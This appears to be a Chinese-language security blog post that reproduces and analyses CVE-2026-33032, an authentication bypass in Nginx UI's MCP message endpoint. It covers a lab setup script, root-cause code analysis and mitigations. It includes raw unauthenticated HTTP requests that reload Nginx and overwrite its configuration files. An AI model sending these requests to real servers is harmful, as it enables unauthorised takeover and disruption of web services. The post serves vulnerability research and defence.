NginxUIMCP接口绕过认证漏洞|CVE-2026-33032复现&研究

admin 2026-04-25 04:47:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了NginxUI组件MCP接口的认证绕过漏洞CVE-2026-33032。漏洞源于/mcp_message接口仅依赖IP白名单中间件而缺少身份验证,默认空白名单被解析为允许所有访问,导致攻击者无需认证即可调用MCP工具执行Nginx重启、配置文件修改等高危操作。文档提供了完整的Docker环境搭建步骤,并通过四种攻击场景演示漏洞复现过程,包括快速探测、文件创建、Nginx重载和配置修改。最后对比了2.3.5与2.3.6版本的修复差异,指出2.3.5版本仍可通过session机制利用。建议用户升级至2.3.6及以上版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应急响应,安全工具,解决方案


cover_image

Nginx UI MCP接口绕过认证漏洞 | CVE-2026-33032复现&研究

原创

404号浪漫 404号浪漫

404号浪漫

2026年4月18日 21:39 北京

在小说阅读器读本章

去阅读

点击蓝字,关注我们

0x0 背景介绍

Nginx UI是一个用于管理Nginx服务器的开源Web界面系统。

该组件的MCP(Model Context Protocol)集成模块在暴露 /mcp_message接口时,仅应用了IP白名单中间件而缺少身份验证。由于默认IP白名单为空,中间件会将其解析为“允许所有”,导致鉴权逻辑完全失效。

远程攻击者无需任何权限即可通过该接口调用所有MCP工具,执行重启Nginx、修改或删除 Nginx 配置文件等操作,从而实现对Nginx服务的完整接管。

漏洞详情

| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | 认证缺失 | <= 2.3.5 | 低 | CVE-2026-33032 |

攻击效果:

  • 执行重启Nginx、修改或删除 Nginx 配置文件等操作。

0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

bash#!/bin/bash# 检查并安装依赖if&nbsp;!&nbsp;command&nbsp;-v curl &> /dev/null || !&nbsp;command&nbsp;-v wget &> /dev/null;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[*] 安装依赖工具..."&nbsp; &nbsp; apt update && apt install -y curl wgetfi# 检查 Docker 是否安装if&nbsp;!&nbsp;command&nbsp;-v docker &> /dev/null;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[*] 未安装 Docker,请检查安装"else&nbsp; &nbsp;&nbsp;echo&nbsp;"[+] Docker 已安装"fi# 检查 Docker Compose 插件if&nbsp;! docker compose version &> /dev/null;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[-] Docker Compose 插件不可用,请检查安装"&nbsp; &nbsp;&nbsp;exit&nbsp;1else&nbsp; &nbsp;&nbsp;echo&nbsp;"[+] Docker Compose 插件可用"fiecho&nbsp;"[*] 阶段1/4:创建 Nginx UI 工作目录..."mkdir&nbsp;-p ~/nginx-ui &&&nbsp;cd&nbsp;~/nginx-ui || {&nbsp;echo&nbsp;"[-] 创建目录失败";&nbsp;exit&nbsp;1; }mkdir&nbsp;-p nginx logs data configecho&nbsp;"[+] 工作目录:&nbsp;$(pwd)"echo&nbsp;"[*] 阶段2/4:生成 docker-compose.yml..."cat&nbsp;> docker-compose.yml <<EOFversion: '3.8'services:&nbsp; nginx-ui:&nbsp; &nbsp; image: uozi/nginx-ui:2.3.2&nbsp; &nbsp; container_name: nginx-ui&nbsp; &nbsp; restart: unless-stopped&nbsp; &nbsp; ports:&nbsp; &nbsp; &nbsp; - "80:80"&nbsp; &nbsp; &nbsp; - "443:443"&nbsp; &nbsp; &nbsp; - "9000:9000"&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - ./nginx:/etc/nginx&nbsp; &nbsp; &nbsp; - ./logs:/var/log/nginx&nbsp; &nbsp; &nbsp; - ./data:/data&nbsp; &nbsp; &nbsp; - ./config:/etc/nginx-ui&nbsp; &nbsp; environment:&nbsp; &nbsp; &nbsp; - TZ=Asia/Shanghai&nbsp; &nbsp; &nbsp; - NGINX_UI_IGNORE_DOCKER_SOCKET=trueEOFecho&nbsp;"[+] docker-compose.yml 已生成"echo&nbsp;"[*] 阶段3/4:启动 Docker 容器..."docker compose pulldocker compose up -decho&nbsp;"[*] 等待服务启动(约30秒)..."for&nbsp;i&nbsp;in&nbsp;{1..6};&nbsp;do&nbsp; &nbsp;&nbsp;echo&nbsp;-n&nbsp;"."&nbsp; &nbsp;&nbsp;sleep&nbsp;5doneecho&nbsp;-e&nbsp;"\n[+] 容器已启动"echo&nbsp;"[*] 检查 Nginx UI Web 服务是否就绪..."RETRIES=0MAX_RETRIES=12until&nbsp;[&nbsp;"$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)"&nbsp;=&nbsp;"200"&nbsp;] || [&nbsp;"$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)"&nbsp;=&nbsp;"302"&nbsp;];&nbsp;do&nbsp; &nbsp;&nbsp;sleep&nbsp;5&nbsp; &nbsp; RETRIES=$((RETRIES+1))&nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;$RETRIES&nbsp;-ge&nbsp;$MAX_RETRIES&nbsp;];&nbsp;then&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"[-] Nginx UI 服务未在规定时间内响应,请手动检查: docker compose logs"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit&nbsp;1&nbsp; &nbsp;&nbsp;fi&nbsp; &nbsp;&nbsp;echo&nbsp;-n&nbsp;"."doneecho&nbsp;-e&nbsp;"\n[+] Nginx UI Web 服务已就绪 (HTTP 状态码 200/302)"echo&nbsp;"=============================================="echo&nbsp;" Nginx UI 2.3.2 部署完成!"echo&nbsp;" &nbsp;- 访问管理界面: http://IP:9000"echo&nbsp;" &nbsp;- 首次访问请完成安装向导"echo&nbsp;""echo&nbsp;" &nbsp;- 配置文件目录: ~/nginx-ui/config"echo&nbsp;" &nbsp;- Nginx 配置目录: ~/nginx-ui/nginx"echo&nbsp;" &nbsp;- 日志目录: ~/nginx-ui/logs"echo&nbsp;" &nbsp;- 数据目录: ~/nginx-ui/data"echo&nbsp;""echo&nbsp;" &nbsp;- 容器管理命令:"echo&nbsp;" &nbsp; &nbsp; &nbsp;docker compose up -d &nbsp; # 启动"echo&nbsp;" &nbsp; &nbsp; &nbsp;docker compose down &nbsp; &nbsp; # 停止"echo&nbsp;" &nbsp; &nbsp; &nbsp;docker compose logs -f &nbsp;# 查看日志"echo&nbsp;"=============================================="

#


0x2 漏洞复现

复现思路围绕两个 MCP 端点展开:/mcp(SSE 流)与/mcp_message(消息投递端点)。

路由层对两个端点都挂载了middleware.AuthRequired()-见 mcp/router.go,因此严格按当前代码构建时,不携带tokennode_secret将得到403-见单测 mcp/router_test.go

参考:

https://github.com/Kai-One001/cve-/blob/main/Nginx-ui-cve-2026-33032.md

2.1 -场景 A:快速探测(确认是否“未授权可调用”)

目标:用最小成本判断你的部署是否符合 CVE 描述的“/mcp_message 无需认证”。

1) 发送一个空 body 的 POST,请求 /mcp_message

POST&nbsp;/mcp_message HTTP/1.1Host:&nbsp;127.0.0.1Content-Type: application/jsonContent-Length:0

2) 观察响应:

•若返回&nbsp;403&nbsp;且&nbsp;body&nbsp;类似 {"message":"Authorization failed"}:&nbsp;说明至少存在认证拦截(与 middleware.AuthRequired() 行为一致)。•若返回&nbsp;200&nbsp;/&nbsp;4xx 但不是鉴权失败,且服务端产生 MCP 协议相关错误:&nbsp;高度可疑,继续用&nbsp;2.2/2.3&nbsp;的“工具调用”确认是否能执行高危操作。

2.2-场景B:低版本创建文件利用

2.3-场景C: Nginx 重载(爆发点最短链路)

POST&nbsp;/mcp_message&nbsp;HTTP/1.1Host:<target>Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reload_nginx","arguments":{}}}

流量特征

•路径:/mcp_message•方法:POST•内容类型:application/json•关键字段:"method":"tools/call"&nbsp;+&nbsp;"name":"reload_nginx"

2.4-场景D:修改既有配置文件(nginx_config_modify

  • 工具定义见 mcp/config/config_modify.go:它将 relative_path 解析为绝对路径,校验文件存在后写入新内容。
POST&nbsp;/mcp_message&nbsp;HTTP/1.1Host:&nbsp;<target>Content-Type:&nbsp;application/json
{&nbsp;&nbsp;"jsonrpc":&nbsp;"2.0",&nbsp;&nbsp;"id":&nbsp;3,&nbsp;&nbsp;"method":&nbsp;"tools/call",&nbsp;&nbsp;"params":&nbsp;{&nbsp; &nbsp;&nbsp;"name":&nbsp;"nginx_config_modify",&nbsp; &nbsp;&nbsp;"arguments":&nbsp;{&nbsp; &nbsp; &nbsp;&nbsp;"relative_path":&nbsp;"<relative_path>",&nbsp; &nbsp; &nbsp;&nbsp;"content":&nbsp;"<new_content>",&nbsp; &nbsp; &nbsp;&nbsp;"sync_overwrite":&nbsp;true,&nbsp; &nbsp; &nbsp;&nbsp;"sync_node_ids":&nbsp;[]&nbsp; &nbsp;&nbsp;}&nbsp;&nbsp;}}

流量特征

•"name":"nginx_config_add"&nbsp;/&nbsp;"name":"nginx_config_modify"
•"arguments"&nbsp;中出现&nbsp;"content"(Nginx&nbsp;配置正文),通常体积较大且包含 server { ... }、location 等关键字

2.5-区别验证:版本进行验证结果

  • 2.3.6版本即使获取seesion也失败

#

  • 2.3.5和2.3.6直接请求接口结果一样,但是2.3.5获取seesion还是可以利用的

  • 再往下第一个版本直接去请求接口会提示seesion问题,不会提示认证

2.6-复现流量特征 (PCAP)

  • ### 截取的成功利用的流量,带认证获取seesion

  • 后续无认证也可以进行操作接口


0x3 漏洞原理分析

#

3.0-[架构与模块定位] MCP 链路的入口层、逻辑层与危险操作面

本次分析是2.3.5版本:MCP 模块并不是“独立的一套 API”,它更像是一条把 HTTP 请求 转换为 工具调用(Tool Call) 的通道:

•入口层(HTTP 暴露面):&nbsp;Gin 路由把 /mcp 与 /mcp_message 暴露出来,并决定它们是否经过白名单/认证。
•逻辑层(协议适配层):&nbsp;internal/mcp/server.go 将 HTTP 请求交给 mcp-go 的 SSE/Message 服务器去解析、分发。
•驱动层(工具执行):&nbsp;mcp/config/*、mcp/nginx/* 注册的工具 handler 最终落到文件系统写入、Nginx reload/restart 等操作。

涉及核心文件(按漏洞层面职责划分非业务):

| 层级 | 文件路径 | 关键函数/对象 | 在漏洞链中的职责 | | — | — | — | — | | 入口层 | router/routers.go | mcp.InitRouter(r) | 在全局路由初始化时挂载MCP路由,决定MCP是否默认暴露 | | 入口层 | mcp/router.go | InitRouter | 注册 /mcp/mcp_message 及其挂载的中间件(认证/白名单) | | 门禁层 | internal/middleware/ip_whitelist.go | IPWhiteList() | 来源限制;空白名单语义=不限制(默认放行),是“最后一道防线”的关键 | | 门禁层 | internal/middleware/middleware.go | AuthRequired()getNodeSecret() | 认证逻辑:支持 tokennode_secret;若端点遗漏它,则直接进入工具执行面 | | 逻辑层 | internal/mcp/server.go | sseServerServeHTTP | MCP 协议入口:SSE与message端点由mcp-go处理并触发工具调用 | | 驱动层 | mcp/nginx/reload.go | reload_nginx | 触发 internal/nginx.Reload(),将配置变更立即生效 | | 驱动层 | mcp/nginx/restart.go | restart_nginx | 触发internal/nginx.Restart(),具备服务中断/重启能力 | | 驱动层 | mcp/config/config_add.go | nginx_config_add | os.WriteFile() 写入配置并自动Reload,构成“写文件->生效”的接管闭环 | | 驱动层 | mcp/config/config_modify.go | nginx_config_modify | 修改既有配置文件内容,配合reload/restart 达成持续接管 |

小知识:

· MCP 双端点与会话机制:Nginx UI 的 MCP 集成采用 SSE(Server-Sent Events) 模型,包含两个互补的 HTTP 端点:
•/mcp:负责建立会话(SSE 流),返回一个临时 sessionId。在漏洞版本中,能预测的node_secret 绕过认证(即“未授权获取 sessionId”)。
•/mcp_message:主要是接收具体的工具调用请求(JSON-RPC),必须携带有效的 sessionId 作为查询参数。

3.1-[核心入口] 从路由锁定 MCP 暴露面

未授权真的耽搁了好久,一直发现有理解误差哎,第一步是直接去找 MCP 的路由注册点,看它到底把哪些 HTTP 入口暴露给外界。

  • router/routers.go里发现 MCP 路由在全局引擎初始化时被无条件挂载:
// router/routers.gomcp.InitRouter(r)
  • 顺着进入mcp/router.go,这里把两个端点明确地注册到了Gin:
// mcp/router.gor.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),&nbsp;func(c *gin.Context) {&nbsp; &nbsp; mcp.ServeHTTP(c)})r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),&nbsp;func(c *gin.Context) {&nbsp; &nbsp; mcp.ServeHTTP(c)})
  • 边界很清晰:MCP能做 “改配置 / 重载 / 重启”,所以它至少应该被 认证AuthRequired)和 来源限制IPWhiteList)包住。
  • 该漏洞的核心冲突点也在这里:如果实际环境中里存在某个构建 / 分支让/mcp_message缺失AuthRequired(),那就理论上攻击者可以绕过认证,直接把 “工具调用” 投递进来。

3.2-[逻辑缺陷] “默认白名单为空” 在实现上等价于 “放行所有人”

接着往下看,从路由转移到 “它依赖的最后一道门”:middleware.IPWhiteList()

在白名单逻辑的第一段判断值得关注:

// internal/middleware/ip_whitelist.goclientIP := c.ClientIP()if&nbsp;len(settings.AuthSettings.IPWhiteList) ==&nbsp;0&nbsp;|| clientIP ==&nbsp;""&nbsp;|| clientIP ==&nbsp;"127.0.0.1"&nbsp;|| clientIP ==&nbsp;"::1"&nbsp;{&nbsp; &nbsp; c.Next()&nbsp; &nbsp;&nbsp;return}
  • 预期设计:IP白名单是一道 “额外收口” 的边界,理想状态应是 “默认拒绝,显式放行”。
  • 实际实现:len(IPWhiteList)==0 时直接Next()—— 默认白名单为空的情况下,它不是 “没人被允许”,而是 “所有人都被允许”
  • 其实逻辑本身也没啥问题(很多产品会用 “空 = 不启用限制” 的语义),但它会在一个特定条件下出现了问题:当某个高危入口 “只剩它这一道门” 时,空白名单就等价于 裸奔

正因如此CVE描述里 “/mcp_message 仅应用 IP白名单” 会造成质变 —— 因为IPWhiteList()在默认配置下并不构成约束。

#

3.3-[攻击链路] 一旦消息端点失守,MCP 工具就是 “远程运维超能力”

接着就是证明 “失守会造成什么结果”,继续沿着mcp.ServeHTTP()往下追,看看它最终把请求交给了谁。

  • internal/mcp/server.go里,MCP采用mcp-go的SSE/Message双端点模型:
// internal/mcp/server.gosseServer&nbsp;=&nbsp;server.NewSSEServer(&nbsp; &nbsp; mcpServer,&nbsp; &nbsp; server.WithSSEEndpoint("/mcp"),&nbsp; &nbsp; server.WithMessageEndpoint("/mcp_message"),)
func&nbsp;ServeHTTP(c&nbsp;*gin.Context) {&nbsp; &nbsp; sseServer.ServeHTTP(c.Writer, c.Request)}
  • 这解释了为什么CVE特别强调 “两个端点”:/mcp 负责建立会话,/mcp_message负责投递工具调用消息。
  • 在这种模型下,如果消息端点未被认证保护,攻击者甚至不需要完整模拟前端 /Agent,只要能构造出 tools/call类请求,就能直接触发后端工具执行。

下面就是挖掘下能造成什么影响,

mcp/nginx/reload.gomcp/nginx/restart.go找到了两个最直观操作:

// mcp/nginx/reload.goconst&nbsp;nginxReloadToolName =&nbsp;"reload_nginx"func&nbsp;handleNginxReload(...)&nbsp;(*mcp.CallToolResult,&nbsp;error) {&nbsp; &nbsp; output, err := nginx.Reload()&nbsp; &nbsp; ...}
// mcp/nginx/restart.goconst&nbsp;nginxRestartToolName =&nbsp;"restart_nginx"func&nbsp;handleNginxRestart(...)&nbsp;(*mcp.CallToolResult,&nbsp;error) {&nbsp; &nbsp; nginx.Restart()&nbsp; &nbsp; ...}
  • 更关键的是配置文件写入能力。在mcp/config/config_add.go中,工具会直接落到文件系统写入,并且写完立即 reload
// mcp/config/config_add.goerr = os.WriteFile(path, []byte(content),&nbsp;0644)...res := nginx.Control(nginx.Reload)
  • 以及mcp/config/config_modify.go中对既有配置的覆盖写入:
// mcp/config/config_modify.goabsPath, err := config.ResolveAbsoluteOrRelativeConfPath(relativePath)...err = config.Save(absPath, content, cfg)
  • 预期边界:这些工具本质上等价于 “远程root级运维接口”(至少在Nginx管理维度上),合理的边界应当是:强认证 + 强来源限制 + 最小权限(分工具授权)+ 审计。
  • 现实实现:工具层本身几乎不做权限判定;它把所有安全假设都押在 “HTTP入口一定会被认证 / 白名单正确保护” 上。
  • 一旦/mcp_message端点出现 “少挂一个中间件” 的工程性失误,攻击者拿到的不是一个普通API,而是一整套 可写配置 + 可触发reload/restart的接管能力。

#

3.4 [链路总结] 从 “注入点” 到 “爆发点” 的完整调用链

  • /mcp_message 缺失认证,仅IP白名单;且白名单默认为空放行 叙述中的缺口为前提,完整链路可以被还原为:
`HTTP POST /mcp_message`(**注入点:未认证消息投递**)->&nbsp;`router`:`mcp.InitRouter()`->&nbsp;`middleware.IPWhiteList()`(**空白名单直接放行**)->&nbsp;`mcp.ServeHTTP()`(`internal/mcp/server.go`)->&nbsp;`mcp-go SSEServer`&nbsp;解析消息(method:&nbsp;`tools/call`)->&nbsp;`mcpServer.AddTool(...)`&nbsp;注册的工具 handler->&nbsp;`handleNginxConfigAdd/Modify`&nbsp;写入配置(**爆发点:文件系统变更**)->&nbsp;`nginx.Control(nginx.Reload)`&nbsp;/&nbsp;`handleNginxReload`(**爆发点:配置立即生效**)-> Nginx 服务配置面被完全接管

补充:在 “当前代码快照” 的安全边界里,AuthRequired()还提供了 node_secret 这一条认证通路(internal/middleware/middleware.go):

// internal/middleware/middleware.goif&nbsp;nodeSecret := getNodeSecret(c); nodeSecret !=&nbsp;""&nbsp;&& nodeSecret == settings.NodeSettings.Secret {&nbsp; &nbsp; ...&nbsp; &nbsp; c.Next()&nbsp; &nbsp;&nbsp;return}

并且settings.NodeSettings.Secret在为空时会自动生成随机UUID并写回配置(internal/kernel/boot.go::InitNodeSecret)。这意味着:只要认证中间件确实挂载生效,攻击者无法靠 “默认空 secret” 绕过。


0x4 修复建议

1、升级最新版本:将组件升级最新版本2.3.6

https://github.com/0xJacky/nginx-ui

2、临时防护措施:

  • 限制访问:在Nginx / 反代层对/mcp与 /mcp_message 做强制收口,仅允许管理网段访问,避免直接暴露到公网或非受控网段
  • 防火墙拦截:配置规则,拦截对模块异常的请求(^/(mcp|mcp_message)$ ),关注body 关键字,对未携带 token/node_secret 的请求直接阻断
  • 白名单配置:明确配置 settings.AuthSettings.IPWhiteList 为你的运维出口 IP 列表(不要保持空值)。因为 IPWhiteList() 的实现语义是 “空 = 不限制”。

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。


/**哇,被批评了,好久么发 被发现了(●’◡’●)**/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:404号浪漫 404号浪漫 404号浪漫《Nginx UI MCP接口绕过认证漏洞 | CVE-2026-33032复现&研究》

评论:0   参与:  0